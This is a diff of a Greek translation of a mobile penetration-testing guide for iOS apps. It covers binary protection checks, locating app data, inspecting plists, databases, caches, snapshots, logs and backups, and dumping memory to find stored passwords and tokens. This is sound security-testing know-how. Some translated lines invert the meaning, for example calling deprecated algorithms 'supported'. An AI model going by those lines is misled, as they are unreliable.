### Βασική Στατική Ανάλυση
Ορισμένοι ενδιαφέροντες αποσυμπιεστές αρχείων iOS - IPA:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
Συνιστάται να χρησιμοποιήσετε το εργαλείο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) για να εκτελέσετε μια αυτόματη Στατική Ανάλυση στο IPA αρχείο.
Αναγνώριση των **προστασιών που υπάρχουν στο δυαδικό αρχείο**:
Αναγνώριση των **προστασιών που υπάρχουν στο δυαδικό**:
- **PIE (Position Independent Executable)**: Όταν είναι ενεργοποιημένο, η εφαρμογή φορτώνεται σε μια τυχαία διεύθυνση μνήμης κάθε φορά που εκκινείται, καθιστώντας πιο δύσκολη την πρόβλεψη της αρχικής διεύθυνσης μνήμης.
@ -62,15 +59,15 @@ otool -I -v <app-binary> | grep stack_chk # Θα πρέπει να περιλ
otool -I -v <app-binary> | grep objc_release # Θα πρέπει να περιλαμβάνει το σύμβολο _objc_release
```
- **Encrypted Binary**: Το δυαδικό αρχείο θα πρέπει να είναι κρυπτογραφημένο
- **Κρυπτογραφημένο Δυαδικό**: Το δυαδικό θα πρέπει να είναι κρυπτογραφημένο
```bash
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Η κρυπτογράφηση θα πρέπει να είναι 1
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Το cryptid θα πρέπει να είναι 1
```
**Αναγνώριση Ευαίσθητων/Ανασφαλών Συναρτήσεων**
- **Weak Hashing Algorithms**
- **Αδύνατοι Αλγόριθμοι Χαρακτηρισμού**
```bash
# Στη συσκευή iOS
@ -82,7 +79,7 @@ grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
```
- **Insecure Random Functions**
- **Ανασφαλείς Τυχαίες Συναρτήσεις**
```bash
# Στη συσκευή iOS
@ -96,7 +93,7 @@ grep -iER "_srand"
grep -iER "_rand"
```
- **Insecure Malloc Function**
- **Ανασφαλής Συναρτήση Malloc**
```bash
# Στη συσκευή iOS
@ -106,7 +103,7 @@ otool -Iv <app> | grep -w "_malloc"
grep -iER "_malloc"
```
- **Insecure and Vulnerable Functions**
- **Ανασφαλείς και Ευάλωτες Συναρτήσεις**
```bash
# Στη συσκευή iOS
@ -136,13 +133,13 @@ grep -iER "_printf"
grep -iER "_vsprintf"
```
### Basic Dynamic Analysis
### Βασική Δυναμική Ανάλυση
Δείτε την δυναμική ανάλυση που εκτελεί το [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Θα χρειαστεί να πλοηγηθείτε μέσα από τις διάφορες προβολές και να αλληλεπιδράσετε μαζί τους, αλλά θα συνδέει πολλές κλάσεις κάνοντας άλλες ενέργειες και θα ετοιμάσει μια αναφορά μόλις ολοκληρώσετε.
Δείτε τη δυναμική ανάλυση που εκτελεί ο [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Θα χρειαστεί να πλοηγηθείτε μέσα από τις διάφορες προβολές και να αλληλεπιδράσετε μαζί τους, αλλά θα συνδέει αρκετές κλάσεις κατά την εκτέλεση άλλων ενεργειών και θα ετοιμάσει μια αναφορά μόλις ολοκληρώσετε.
### Listing Installed Apps
### Καταγραφή Εγκατεστημένων Εφαρμογών
Χρησιμοποιήστε την εντολή `frida-ps -Uai` για να προσδιορίσετε το **bundle identifier** των εγκατεστημένων εφαρμογών:
Χρησιμοποιήστε την εντολή `frida-ps -Uai` για να προσδιορίσετε τον **bundle identifier** των εγκατεστημένων εφαρμογών:
```bash
$ frida-ps -Uai
PID Name Identifier
@ -194,13 +191,13 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Μεταξύ της πληθώρας πληροφοριών που μπορεί να αποκαλύψει το αρχείο **Info.plist**, οι αξιοσημείωτες καταχωρήσεις περιλαμβάνουν τις συμβολοσειρές αδειών εφαρμογής (`UsageDescription`), τα προσαρμοσμένα URL schemes (`CFBundleURLTypes`), και τις ρυθμίσεις για την Ασφάλεια Μεταφοράς Εφαρμογών (`NSAppTransportSecurity`). Αυτές οι καταχωρήσεις, μαζί με άλλες όπως οι εξαγόμενοι/εισαγόμενοι τύποι εγγράφων (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), μπορούν να εντοπιστούν εύκολα με την επιθεώρηση του αρχείου ή χρησιμοποιώντας μια απλή εντολή `grep`:
Ανάμεσα στην πληθώρα πληροφοριών που μπορεί να αποκαλύψει το αρχείο **Info.plist**, οι σημαντικές καταχωρήσεις περιλαμβάνουν τις συμβολοσειρές αδειών εφαρμογής (`UsageDescription`), τα προσαρμοσμένα URL schemes (`CFBundleURLTypes`), και τις ρυθμίσεις για την Ασφάλεια Μεταφοράς Εφαρμογών (`NSAppTransportSecurity`). Αυτές οι καταχωρήσεις, μαζί με άλλες όπως οι εξαγόμενοι/εισαγόμενοι τύποι εγγράφων (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), μπορούν να εντοπιστούν εύκολα με την επιθεώρηση του αρχείου ή χρησιμοποιώντας μια απλή εντολή `grep`:
```bash
$ grep -i <keyword> Info.plist
```
**Διαδρομές Δεδομένων**
Στο περιβάλλον iOS, οι καταλόγοι προορίζονται συγκεκριμένα για **εφαρμογές συστήματος** και **εφαρμογές που έχουν εγκατασταθεί από τον χρήστη**. Οι εφαρμογές συστήματος βρίσκονται στον κατάλογο `/Applications`, ενώ οι εφαρμογές που έχουν εγκατασταθεί από τον χρήστη τοποθετούνται κάτω από `/var/mobile/containers/Data/Application/`. Αυτές οι εφαρμογές έχουν ανατεθεί μια μοναδική ταυτότητα γνωστή ως **128-bit UUID**, καθιστώντας την εργασία της χειροκίνητης εύρεσης του φακέλου μιας εφαρμογής δύσκολη λόγω της τυχαιότητας των ονομάτων των καταλόγων.
Στο περιβάλλον iOS, οι καταλόγοι προορίζονται συγκεκριμένα για **συστήματα εφαρμογών** και **εφαρμογές που έχουν εγκατασταθεί από τον χρήστη**. Οι εφαρμογές συστήματος βρίσκονται στον κατάλογο `/Applications`, ενώ οι εφαρμογές που έχουν εγκατασταθεί από τον χρήστη τοποθετούνται κάτω από `/var/mobile/containers/Data/Application/`. Αυτές οι εφαρμογές έχουν ανατεθεί μια μοναδική ταυτότητα γνωστή ως **128-bit UUID**, καθιστώντας την εργασία της χειροκίνητης εύρεσης του φακέλου μιας εφαρμογής δύσκολη λόγω της τυχαιότητας των ονομάτων των καταλόγων.
> [!WARNING]
> Καθώς οι εφαρμογές στο iOS πρέπει να είναι sandboxed, κάθε εφαρμογή θα έχει επίσης έναν φάκελο μέσα στο **`$HOME/Library/Containers`** με το **`CFBundleIdentifier`** της εφαρμογής ως το όνομα του φακέλου.
@ -249,24 +246,24 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Περιέχει **ημι-μόνιμα αρχεία cache.**
- Αόρατη στους χρήστες και **οι χρήστες δεν μπορούν να γράψουν σε αυτήν**.
- Το περιεχόμενο σε αυτή τη διεύθυνση **δεν είναι αντίγραφο ασφαλείας**.
- Το OS μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο αποθηκευτικός χώρος είναι περιορισμένος.
- Το OS μπορεί να διαγράψει αυτόματα τα αρχεία αυτής της διεύθυνσης όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
- **Library/Application Support/**
- Περιέχει **μόνιμα** **αρχεία** απαραίτητα για τη λειτουργία της εφαρμογής.
- **Αόρατη** **στους** **χρήστες** και οι χρήστες δεν μπορούν να γράψουν σε αυτήν.
- Το περιεχόμενο σε αυτή τη διεύθυνση **είναι αντίγραφο ασφαλείας**.
- Η εφαρμογή μπορεί να απενεργοποιήσει διαδρομές ορίζοντας το `NSURLIsExcludedFromBackupKey`.
- **Library/Preferences/**
- Χρησιμοποιείται για την αποθήκευση ιδιοτήτων που μπορούν να **διαρκέσουν ακόμη και μετά την επανεκκίνηση μιας εφαρμογής**.
- Οι πληροφορίες αποθηκεύονται, χωρίς κρυπτογράφηση, μέσα στο sandbox της εφαρμογής σε ένα αρχείο plist που ονομάζεται \[BUNDLE_ID].plist.
- Χρησιμοποιείται για την αποθήκευση ιδιοτήτων που μπορούν να **διατηρηθούν ακόμη και μετά την επανεκκίνηση μιας εφαρμογής**.
- Οι πληροφορίες αποθηκεύονται, μη κρυπτογραφημένες, μέσα στο sandbox της εφαρμογής σε ένα αρχείο plist που ονομάζεται \[BUNDLE_ID].plist.
- Όλα τα ζεύγη κλειδιού/τιμής που αποθηκεύονται χρησιμοποιώντας το `NSUserDefaults` μπορούν να βρεθούν σε αυτό το αρχείο.
- **tmp/**
- Χρησιμοποιήστε αυτή τη διεύθυνση για να γράψετε **προσωρινά αρχεία** που δεν χρειάζεται να διαρκέσουν μεταξύ των εκκινήσεων της εφαρμογής.
- Χρησιμοποιήστε αυτή τη διεύθυνση για να γράψετε **προσωρινά αρχεία** που δεν χρειάζεται να διατηρηθούν μεταξύ των εκκινήσεων της εφαρμογής.
- Περιέχει μη μόνιμα αρχεία cache.
- **Αόρατη** στους χρήστες.
- Το περιεχόμενο σε αυτή τη διεύθυνση δεν είναι αντίγραφο ασφαλείας.
- Το OS μπορεί να διαγράψει αυτόματα τα αρχεία αυτού του φακέλου όταν η εφαρμογή δεν εκτελείται και ο αποθηκευτικός χώρος είναι περιορισμένος.
- Το OS μπορεί να διαγράψει αυτόματα τα αρχεία αυτής της διεύθυνσης όταν η εφαρμογή δεν εκτελείται και ο χώρος αποθήκευσης είναι περιορισμένος.
Ας ρίξουμε μια πιο προσεκτική ματιά στο Application Bundle (.app) του iGoat-Swift μέσα στη διεύθυνση πακέτου (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
Ας ρίξουμε μια πιο προσεκτική ματιά στο Application Bundle (.app) της iGoat-Swift μέσα στη διεύθυνση πακέτου (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -360,14 +357,6 @@ double _field2;
```
Ωστόσο, οι καλύτερες επιλογές για την αποσυναρμολόγηση του δυαδικού είναι: [**Hopper**](https://www.hopperapp.com/download.html?) και [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Αποθήκευση Δεδομένων
Για να μάθετε πώς το iOS αποθηκεύει δεδομένα στη συσκευή, διαβάστε αυτή τη σελίδα:
@ -378,17 +367,17 @@ ios-basics.md
> [!WARNING]
> Οι παρακάτω χώροι αποθήκευσης πληροφοριών θα πρέπει να ελέγχονται **αμέσως μετά την εγκατάσταση της εφαρμογής**, **μετά τον έλεγχο όλων των λειτουργιών** της εφαρμογής και ακόμη και μετά **την αποσύνδεση από έναν χρήστη και την είσοδο σε έναν διαφορετικό**.\
> Ο στόχος είναι να βρείτε **μη προστατευμένες ευαίσθητες πληροφορίες** της εφαρμογής (κωδικοί πρόσβασης, tokens), του τρέχοντος χρήστη και προηγούμενων συνδεδεμένων χρηστών.
> Ο στόχος είναι να βρείτε **μη προστατευμένες ευαίσθητες πληροφορίες** της εφαρμογής (κωδικούς πρόσβασης, tokens), του τρέχοντος χρήστη και προηγούμενων συνδεδεμένων χρηστών.
### Plist
Τα αρχεία **plist** είναι δομημένα αρχεία XML που **περιέχουν ζεύγη κλειδιού-τιμής**. Είναι ένας τρόπος αποθήκευσης μόνιμων δεδομένων, οπότε μερικές φορές μπορεί να βρείτε **ευαίσθητες πληροφορίες σε αυτά τα αρχεία**. Συνιστάται να ελέγξετε αυτά τα αρχεία μετά την εγκατάσταση της εφαρμογής και μετά τη χρήση της εντατικά για να δείτε αν έχουν γραφτεί νέα δεδομένα.
Τα **plist** αρχεία είναι δομημένα XML αρχεία που **περιέχουν ζεύγη κλειδιού-τιμής**. Είναι ένας τρόπος αποθήκευσης μόνιμων δεδομένων, οπότε μερικές φορές μπορεί να βρείτε **ευαίσθητες πληροφορίες σε αυτά τα αρχεία**. Συνιστάται να ελέγξετε αυτά τα αρχεία μετά την εγκατάσταση της εφαρμογής και μετά τη χρήση της εντατικά για να δείτε αν έχουν γραφτεί νέα δεδομένα.
Ο πιο κοινός τρόπος για να διατηρήσετε δεδομένα σε αρχεία plist είναι μέσω της χρήσης του **NSUserDefaults**. Αυτό το αρχείο plist αποθηκεύεται μέσα στο sandbox της εφαρμογής στο **`Library/Preferences/<appBundleID>.plist`**
Η κλάση [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) παρέχει μια προγραμματιστική διεπαφή για την αλληλεπίδραση με το προεπιλεγμένο σύστημα. Το προεπιλεγμένο σύστημα επιτρέπει σε μια εφαρμογή να προσαρμόσει τη συμπεριφορά της σύμφωνα με τις **προτιμήσεις του χρήστη**. Τα δεδομένα που αποθηκεύονται από το `NSUserDefaults` μπορούν να προβληθούν στο πακέτο της εφαρμογής. Αυτή η κλάση αποθηκεύει **δεδομένα** σε ένα **αρχείο plist**, αλλά προορίζεται να χρησιμοποιείται με μικρές ποσότητες δεδομένων.
Η κλάση [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) παρέχει μια προγραμματιστική διεπαφή για την αλληλεπίδραση με το προεπιλεγμένο σύστημα. Το προεπιλεγμένο σύστημα επιτρέπει σε μια εφαρμογή να προσαρμόσει τη συμπεριφορά της σύμφωνα με τις **προτιμήσεις του χρήστη**. Τα δεδομένα που αποθηκεύονται από το `NSUserDefaults` μπορούν να προβληθούν στο πακέτο της εφαρμογής. Αυτή η κλάση αποθηκεύει **δεδομένα** σε ένα **plist** **αρχείο**, αλλά προορίζεται να χρησιμοποιείται με μικρές ποσότητες δεδομένων.
Αυτά τα δεδομένα δεν μπορούν πλέον να προσπελαστούν απευθείας μέσω ενός αξιόπιστου υπολογιστή, αλλά μπορούν να προσπελαστούν εκτελώντας ένα **backup**.
Αυτά τα δεδομένα δεν μπορούν πλέον να προσπελαστούν άμεσα μέσω ενός αξιόπιστου υπολογιστή, αλλά μπορούν να προσπελαστούν εκτελώντας ένα **backup**.
Μπορείτε να **dump** τις πληροφορίες που αποθηκεύονται χρησιμοποιώντας το **`NSUserDefaults`** με την εντολή `ios nsuserdefaults get` του objection.
@ -444,7 +433,7 @@ NSLog(@"data stored in core data");
```
### YapDatabase
[YapDatabase](https://github.com/yapstudios/YapDatabase) είναι μια αποθήκη κλειδιών/τιμών που έχει κατασκευαστεί πάνω από το SQLite.\
[YapDatabase](https://github.com/yapstudios/YapDatabase) είναι μια αποθήκη κλειδιού/τιμής που έχει κατασκευαστεί πάνω από το SQLite.\
Δεδομένου ότι οι βάσεις δεδομένων Yap είναι βάσεις δεδομένων sqlite, μπορείτε να τις βρείτε χρησιμοποιώντας την προτεινόμενη εντολή στην προηγούμενη ενότητα.
### Άλλες Βάσεις Δεδομένων SQLite
@ -455,7 +444,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Real-Time Databases
Οι προγραμματιστές έχουν τη δυνατότητα να **αποθηκεύουν και να συγχρονίζουν δεδομένα** μέσα σε μια **βάση δεδομένων NoSQL που φιλοξενείται στο cloud** μέσω των Firebase Real-Time Databases. Αποθηκευμένα σε μορφή JSON, τα δεδομένα συγχρονίζονται σε όλους τους συνδεδεμένους πελάτες σε πραγματικό χρόνο.
Οι προγραμματιστές έχουν τη δυνατότητα να **αποθηκεύουν και να συγχρονίζουν δεδομένα** μέσα σε μια **NoSQL cloud-hosted database** μέσω των Firebase Real-Time Databases. Αποθηκευμένα σε μορφή JSON, τα δεδομένα συγχρονίζονται σε όλους τους συνδεδεμένους πελάτες σε πραγματικό χρόνο.
Μπορείτε να βρείτε πώς να ελέγξετε για κακώς διαμορφωμένες βάσεις δεδομένων Firebase εδώ:
@ -467,7 +456,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
[Realm Objective-C](https://realm.io/docs/objc/latest/) και [Realm Swift](https://realm.io/docs/swift/latest/) προσφέρουν μια ισχυρή εναλλακτική για την αποθήκευση δεδομένων, που δεν παρέχεται από την Apple. Από προεπιλογή, **αποθηκεύουν δεδομένα χωρίς κρυπτογράφηση**, με κρυπτογράφηση διαθέσιμη μέσω συγκεκριμένης διαμόρφωσης.
Οι βάσεις δεδομένων βρίσκονται στη διεύθυνση: `/private/var/mobile/Containers/Data/Application/{APPID}`. Για να εξερευνήσετε αυτά τα αρχεία, μπορεί κανείς να χρησιμοποιήσει εντολές όπως:
Οι βάσεις δεδομένων βρίσκονται στη διεύθυνση: `/private/var/mobile/Containers/Data/Application/{APPID}`. Για να εξερευνήσετε αυτά τα αρχεία, μπορείτε να χρησιμοποιήσετε εντολές όπως:
```bash
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
@ -535,17 +524,17 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
`An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesnt store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.`
3. Η cache μπορεί επίσης να απενεργοποιηθεί ρυθμίζοντας την πολιτική cache σε [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Αυτό θα απενεργοποιήσει την αποθήκευση της cache με οποιονδήποτε τρόπο, είτε στη μνήμη είτε στο δίσκο.
3. Η αποθήκευση μπορεί επίσης να απενεργοποιηθεί ρυθμίζοντας την Πολιτική Cache σε [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Αυτό θα απενεργοποιήσει την αποθήκευση Cache με οποιονδήποτε τρόπο, είτε στη μνήμη είτε στο δίσκο.
### Snapshots
Όποτε πατάτε το κουμπί αρχικής οθόνης, το iOS **λαμβάνει ένα στιγμιότυπο της τρέχουσας οθόνης** για να μπορέσει να κάνει τη μετάβαση στην εφαρμογή με πολύ πιο ομαλό τρόπο. Ωστόσο, εάν υπάρχουν **ευαίσθητα** **δεδομένα** στην τρέχουσα οθόνη, θα **αποθηκευτούν** στην **εικόνα** (η οποία **διατηρείται** **μετά** **από** **επανεκκινήσεις**). Αυτά είναι τα στιγμιότυπα που μπορείτε επίσης να αποκτήσετε πρόσβαση διπλά πατώντας την αρχική οθόνη για να αλλάξετε μεταξύ εφαρμογών.
Όποτε πατάτε το κουμπί αρχικής οθόνης, το iOS **λαμβάνει μια στιγμιότυπο της τρέχουσας οθόνης** για να μπορέσει να κάνει τη μετάβαση στην εφαρμογή με πολύ πιο ομαλό τρόπο. Ωστόσο, εάν υπάρχουν **ευαίσθητα** **δεδομένα** στην τρέχουσα οθόνη, θα **αποθηκευτούν** στην **εικόνα** (η οποία **διατηρείται** **μετά** **από** **επανεκκινήσεις**). Αυτά είναι τα στιγμιότυπα που μπορείτε επίσης να αποκτήσετε πρόσβαση διπλά πατώντας την αρχική οθόνη για να αλλάξετε μεταξύ εφαρμογών.
Εκτός εάν το iPhone είναι jailbroken, ο **επιτιθέμενος** χρειάζεται να έχει **πρόσβαση** στη **συσκευή** **ξεκλειδωμένη** για να δει αυτά τα στιγμιότυπα οθόνης. Από προεπιλογή, το τελευταίο στιγμιότυπο αποθηκεύεται στο sandbox της εφαρμογής στον φάκελο `Library/Caches/Snapshots/` ή `Library/SplashBoard/Snapshots` (οι αξιόπιστοι υπολογιστές δεν μπορούν να έχουν πρόσβαση στο filesystem από το iOX 7.0).
Εκτός εάν το iPhone είναι jailbroken, ο **επιτιθέμενος** χρειάζεται να έχει **πρόσβαση** στη **συσκευή** **ξεκλειδωμένη** για να δει αυτά τα στιγμιότυπα. Από προεπιλογή, το τελευταίο στιγμιότυπο αποθηκεύεται στο sandbox της εφαρμογής στον φάκελο `Library/Caches/Snapshots/` ή `Library/SplashBoard/Snapshots` (οι αξιόπιστοι υπολογιστές δεν μπορούν να έχουν πρόσβαση στο filesystem από το iOX 7.0).
Ένας τρόπος για να αποτρέψετε αυτή τη κακή συμπεριφορά είναι να βάλετε μια κενή οθόνη ή να αφαιρέσετε τα ευαίσθητα δεδομένα πριν από τη λήψη του στιγμιότυπου χρησιμοποιώντας τη λειτουργία `ApplicationDidEnterBackground()`.
Ακολουθεί μια δείγμα μεθόδου αποκατάστασης που θα ορίσει ένα προεπιλεγμένο στιγμιότυπο οθόνης.
Η παρακάτω είναι μια δείγμα μεθόδου αποκατάστασης που θα ορίσει ένα προεπιλεγμένο στιγμιότυπο.
Swift:
```swift
@ -647,33 +636,23 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
Ακολουθούν εντολές για την παρακολούθηση δραστηριοτήτων καταγραφής, οι οποίες μπορεί να είναι πολύτιμες για τη διάγνωση προβλημάτων ή την αναγνώριση πιθανής διαρροής δεδομένων στα αρχεία καταγραφής.
---
## Αντίγραφα ασφαλείας
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) για να δημιουργήσετε εύκολα και **να αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Δημιουργίες Αντιγράφων
Οι **λειτουργίες αυτόματης δημιουργίας αντιγράφων** είναι ενσωματωμένες στο iOS, διευκολύνοντας τη δημιουργία αντιγράφων δεδομένων συσκευής μέσω του iTunes (έως macOS Catalina), Finder (από macOS Catalina και μετά) ή iCloud. Αυτά τα αντίγραφα περιλαμβάνουν σχεδόν όλα τα δεδομένα της συσκευής, εξαιρουμένων των πολύ ευαίσθητων στοιχείων όπως οι λεπτομέρειες Apple Pay και οι ρυθμίσεις Touch ID.
Οι **λειτουργίες αυτόματης δημιουργίας αντιγράφων ασφαλείας** είναι ενσωματωμένες στο iOS, διευκολύνοντας τη δημιουργία αντιγράφων δεδομένων συσκευής μέσω του iTunes (έως macOS Catalina), Finder (από macOS Catalina και μετά) ή iCloud. Αυτά τα αντίγραφα ασφαλείας περιλαμβάνουν σχεδόν όλα τα δεδομένα της συσκευής, εξαιρουμένων των πολύ ευαίσθητων στοιχείων όπως οι λεπτομέρειες του Apple Pay και οι ρυθμίσεις του Touch ID.
### Κίνδυνοι Ασφαλείας
Η συμπερίληψη των **εγκατεστημένων εφαρμογών και των δεδομένων τους** στα αντίγραφα εγείρει το ζήτημα της πιθανής **διαρροής δεδομένων** και του κινδύνου ότι **οι τροποποιήσεις των αντιγράφων θα μπορούσαν να αλλάξουν τη λειτουργικότητα της εφαρμογής**. Συνιστάται να **μην αποθηκεύετε ευαίσθητες πληροφορίες σε απλό κείμενο** μέσα στον κατάλογο οποιασδήποτε εφαρμογής ή στους υποκαταλόγους της για να μετριάσετε αυτούς τους κινδύνους.
Η συμπερίληψη των **εγκατεστημένων εφαρμογών και των δεδομένων τους** στα αντίγραφα ασφαλείας εγείρει το ζήτημα της πιθανής **διαρροής δεδομένων** και του κινδύνου ότι **οι τροποποιήσεις των αντιγράφων ασφαλείας θα μπορούσαν να αλλάξουν τη λειτουργικότητα της εφαρμογής**. Συνιστάται να **μην αποθηκεύετε ευαίσθητες πληροφορίες σε απλό κείμενο** μέσα στον κατάλογο οποιασδήποτε εφαρμογής ή στους υποκαταλόγους της για να μετριαστούν αυτοί οι κίνδυνοι.
### Εξαίρεση Αρχείων από Δημιουργίες Αντιγράφων
### Εξαίρεση Αρχείων από Αντίγραφα Ασφαλείας
Τα αρχεία στον `Documents/` και `Library/Application Support/` δημιουργούνται αντίγραφα από προεπιλογή. Οι προγραμματιστές μπορούν να εξαιρέσουν συγκεκριμένα αρχεία ή καταλόγους από τα αντίγραφα χρησιμοποιώντας `NSURL setResourceValue:forKey:error:` με το `NSURLIsExcludedFromBackupKey`. Αυτή η πρακτική είναι κρίσιμη για την προστασία ευαίσθητων δεδομένων από το να περιλαμβάνονται στα αντίγραφα.
Τα αρχεία στον `Documents/` και `Library/Application Support/` δημιουργούνται αντίγραφα ασφαλείας από προεπιλογή. Οι προγραμματιστές μπορούν να εξαιρέσουν συγκεκριμένα αρχεία ή καταλόγους από τα αντίγραφα ασφαλείας χρησιμοποιώντας το `NSURL setResourceValue:forKey:error:` με το `NSURLIsExcludedFromBackupKey`. Αυτή η πρακτική είναι κρίσιμη για την προστασία ευαίσθητων δεδομένων από το να περιλαμβάνονται στα αντίγραφα ασφαλείας.
### Δοκιμή για Ευπάθειες
Για να αξιολογήσετε την ασφάλεια των αντιγράφων μιας εφαρμογής, ξεκινήστε με **τη δημιουργία ενός αντιγράφου** χρησιμοποιώντας τον Finder, στη συνέχεια εντοπίστε το χρησιμοποιώντας καθοδήγηση από [την επίσημη τεκμηρίωση της Apple](https://support.apple.com/en-us/HT204215). Αναλύστε το αντίγραφο για ευαίσθητα δεδομένα ή ρυθμίσεις που θα μπορούσαν να τροποποιηθούν για να επηρεάσουν τη συμπεριφορά της εφαρμογής.
Για να αξιολογήσετε την ασφάλεια των αντιγράφων ασφαλείας μιας εφαρμογής, ξεκινήστε με τη **δημιουργία ενός αντιγράφου ασφαλείας** χρησιμοποιώντας το Finder, στη συνέχεια εντοπίστε το χρησιμοποιώντας καθοδήγηση από [την επίσημη τεκμηρίωση της Apple](https://support.apple.com/en-us/HT204215). Αναλύστε το αντίγραφο ασφαλείας για ευαίσθητα δεδομένα ή ρυθμίσεις που θα μπορούσαν να τροποποιηθούν για να επηρεάσουν τη συμπεριφορά της εφαρμογής.
Ευαίσθητες πληροφορίες μπορούν να αναζητηθούν χρησιμοποιώντας εργαλεία γραμμής εντολών ή εφαρμογές όπως το [iMazing](https://imazing.com). Για κρυπτογραφημένα αντίγραφα, η παρουσία κρυπτογράφησης μπορεί να επιβεβαιωθεί ελέγχοντας το κλειδί "IsEncrypted" στο αρχείο "Manifest.plist" στη ρίζα του αντιγράφου.
Ευαίσθητες πληροφορίες μπορούν να αναζητηθούν χρησιμοποιώντας εργαλεία γραμμής εντολών ή εφαρμογές όπως το [iMazing](https://imazing.com). Για κρυπτογραφημένα αντίγραφα ασφαλείας, η παρουσία κρυπτογράφησης μπορεί να επιβεβαιωθεί ελέγχοντας το κλειδί "IsEncrypted" στο αρχείο "Manifest.plist" στη ρίζα του αντιγράφου ασφαλείας.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -708,7 +687,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
Για πιο λεπτομερή ανάλυση, συμπεριλαμβανομένης της αναζήτησης συγκεκριμένων τύπων δεδομένων ή προτύπων, **radare2** προσφέρει εκτενείς δυνατότητες αναζήτησης:
Για πιο λεπτομερή ανάλυση, συμπεριλαμβανομένης της αναζήτησης συγκεκριμένων τύπων δεδομένων ή προτύπων, το **radare2** προσφέρει εκτενείς δυνατότητες αναζήτησης:
```bash
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
@ -727,9 +706,9 @@ $ r2 frida://usb//<name_of_your_app>
Ορισμένοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί σκληρά κωδικοποιημένο/προβλέψιμο στον κώδικα. Αυτό δεν θα έπρεπε να γίνεται καθώς κάποια αναστροφή θα μπορούσε να επιτρέψει στους επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες.
### Χρήση Ανασφαλών και/ή Υποστηριγμένων Αλγορίθμων
### Χρήση Ανασφαλών και/ή Υποστηριζόμενων Αλγορίθμων
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριγμένους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt.
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριζόμενους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με αλάτι.
### Έλεγχος
@ -739,15 +718,15 @@ $ r2 frida://usb//<name_of_your_app>
```swift
